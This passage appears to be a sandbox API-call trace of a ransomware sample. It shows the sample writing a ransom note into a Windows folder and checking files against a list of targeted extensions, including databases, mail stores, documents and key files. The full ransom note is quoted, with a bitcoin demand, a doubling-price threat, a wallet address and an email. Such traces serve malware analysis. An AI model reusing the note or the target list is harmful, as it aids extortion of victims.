lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb" [0110.119] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb") returned 100 [0110.119] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61c45d60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61c45d60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61c45d60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.181] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.182] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61c45d60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61c45d60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61c45d60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.182] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.182] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.182] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61bf9aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61bf9aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61c1fc00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x34800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.182] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.182] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0110.182] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0110.182] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0110.182] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\*.*") returned="*.*" [0110.182] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\" [0110.182] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\") returned="" [0110.182] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\HOW TO DECRYPT FILES.txt" [0110.182] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\4f1790a086595c43d01d7ceac80242fb\\how to decrypt files.txt")) returned 0xffffffff [0110.182] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\4f1790a086595c43d01d7ceac80242fb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.229] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.229] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.231] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.231] CloseHandle (hObject=0x90) returned 1 [0110.231] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll" [0110.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0110.231] lstrlenA (lpString="*.ems") returned 5 [0110.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0110.231] lstrlenA (lpString="*.db") returned 4 [0110.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.231] lstrlenA (lpString="*.dbf") returned 5 [0110.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0110.232] lstrlenA (lpString="*.myox") returned 6 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0110.232] lstrlenA (lpString="*.myo") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.232] lstrlenA (lpString="*.qbw") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.232] lstrlenA (lpString="*.qbb") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.232] lstrlenA (lpString="*.qbm") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.232] lstrlenA (lpString="*.qbo") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.232] lstrlenA (lpString="*.qbx") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0110.232] lstrlenA (lpString="*.qba") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0110.232] lstrlenA (lpString="*.qby") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.232] lstrlenA (lpString="*.qbj") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.232] lstrlenA (lpString="*.ofx") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0110.232] lstrlenA (lpString="*.qif") returned 5 [0110.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0110.233] lstrlenA (lpString="*.mye") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.233] lstrlenA (lpString="*.mbox") returned 6 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.233] lstrlenA (lpString="*.eml") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0110.233] lstrlenA (lpString="*.pst") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0110.233] lstrlenA (lpString="*.ost") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0110.233] lstrlenA (lpString="*.idx") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.233] lstrlenA (lpString="*.dbx") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0110.233] lstrlenA (lpString="*.sql") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.233] lstrlenA (lpString="*.mdb") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.233] lstrlenA (lpString="*.fdb") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0110.233] lstrlenA (lpString="*.wab") returned 5 [0110.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0110.233] lstrlenA (lpString="*.dat") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0110.234] lstrlenA (lpString="*.txt") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.234] lstrlenA (lpString="*.jpeg") returned 6 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.234] lstrlenA (lpString="*.jpg") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0110.234] lstrlenA (lpString="*.png") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0110.234] lstrlenA (lpString="*.php") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0110.234] lstrlenA (lpString="*.cs") returned 4 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.234] lstrlenA (lpString="*.cpp") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0110.234] lstrlenA (lpString="*.rar") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0110.234] lstrlenA (lpString="*.zip") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0110.234] lstrlenA (lpString="*.html") returned 6 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0110.234] lstrlenA (lpString="*.htm") returned 5 [0110.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.235] lstrlenA (lpString="*.xlsx") returned 6 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0110.235] lstrlenA (lpString="*.xls") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.235] lstrlenA (lpString="*.mp4") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.235] lstrlenA (lpString="*.ppt") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.235] lstrlenA (lpString="*.pptx") returned 6 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0110.235] lstrlenA (lpString="*.doc") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0110.235] lstrlenA (lpString="*.dot") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0110.235] lstrlenA (lpString="*.docx") returned 6 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0110.235] lstrlenA (lpString="*.7z") returned 4 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0110.235] lstrlenA (lpString="*.tar") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.235] lstrlenA (lpString="*.bz2") returned 5 [0110.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0110.235] lstrlenA (lpString="*.gz") returned 4 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.236] lstrlenA (lpString="*.mkv") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.236] lstrlenA (lpString="*.eml") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0110.236] lstrlenA (lpString="*.msg") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0110.236] lstrlenA (lpString="*.edb") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.236] lstrlenA (lpString="*.accdb") returned 7 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0110.236] lstrlenA (lpString="*.odb") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0110.236] lstrlenA (lpString="*.java") returned 6 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0110.236] lstrlenA (lpString="*.asm") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.236] lstrlenA (lpString="*.pfx") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0110.236] lstrlenA (lpString="*.pem") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0110.236] lstrlenA (lpString="*.p12") returned 5 [0110.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.237] lstrlenA (lpString="*.gpg") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.237] lstrlenA (lpString="*.vsd") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0110.237] lstrlenA (lpString="*.odg") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0110.237] 